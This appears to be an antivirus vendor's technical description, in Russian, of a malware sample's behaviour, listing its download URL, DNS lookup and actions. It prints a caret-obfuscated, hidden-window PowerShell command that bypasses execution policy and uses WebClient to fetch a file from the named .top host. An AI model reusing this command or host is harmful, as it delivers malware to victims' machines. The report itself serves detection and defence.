Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^o^we^RSH^E^LL^.eX^E ^-^EX^eC^UtiON^p^oL^I^CY^ bypAs^s -^NopRoFI^Le^ -wiND^O^WstylE ^H^i^ddE^N (^N^E^w-^o^bj^ec^T S^ySt^EM^.^N^ET.WebcLiE^nt^).D^oW^NLOA^Dfi^L^e^('http://www.z...
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^o^we^RSH^E^LL^.eX^E ^-^EX^eC^UtiON^p^oL^I^CY^ bypAs^s -^NopRoFI^Le^ -wiND^O^WstylE ^H^i^ddE^N (^N^E^w-^o^bj^ec^T S^ySt^EM^.^N^ET.WebcLiE^nt^).D^oW^NLOA^Dfi^L^e^('http://www.z...' (со скрытым окном)
